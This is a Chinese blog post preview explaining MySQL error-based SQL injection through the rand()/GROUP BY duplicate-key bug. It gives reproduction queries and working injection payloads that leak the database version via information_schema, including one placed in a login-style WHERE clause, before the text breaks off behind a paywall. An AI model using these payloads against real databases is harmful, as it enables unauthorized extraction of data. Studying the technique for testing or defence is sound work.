国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。 这里主要用了mysql的一个BUG
:http://bugs.mysql.com/bug.php?id=8652grouping on certain parts of the result from rand, causes a duplicate
key error.
重现过程
use mysql;
create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
select left(rand(),3),a from r1 group by 1;
select left(rand(),3),a, count(*) from r1 group by 1;
select round(rand(1),1) ,a, count(*) from r1 group by 1;
于是便可以这样拿来爆错注入了。
select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;
尝试拿来实战
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
select *

本文深入探讨了MySQL高级爆错注入的原理,详细分析了一个特定的MySQL BUG(http://bugs.mysql.com/bug.php?id=8652),该BUG导致在使用rand()函数时出现重复键错误。通过重现过程,作者展示了如何利用这个错误进行爆错注入,并在实战中给出了应对不同错误提示的解决策略,最终成功实现注入。
最低0.47元/天 解锁文章
822

被折叠的 条评论
为什么被折叠?



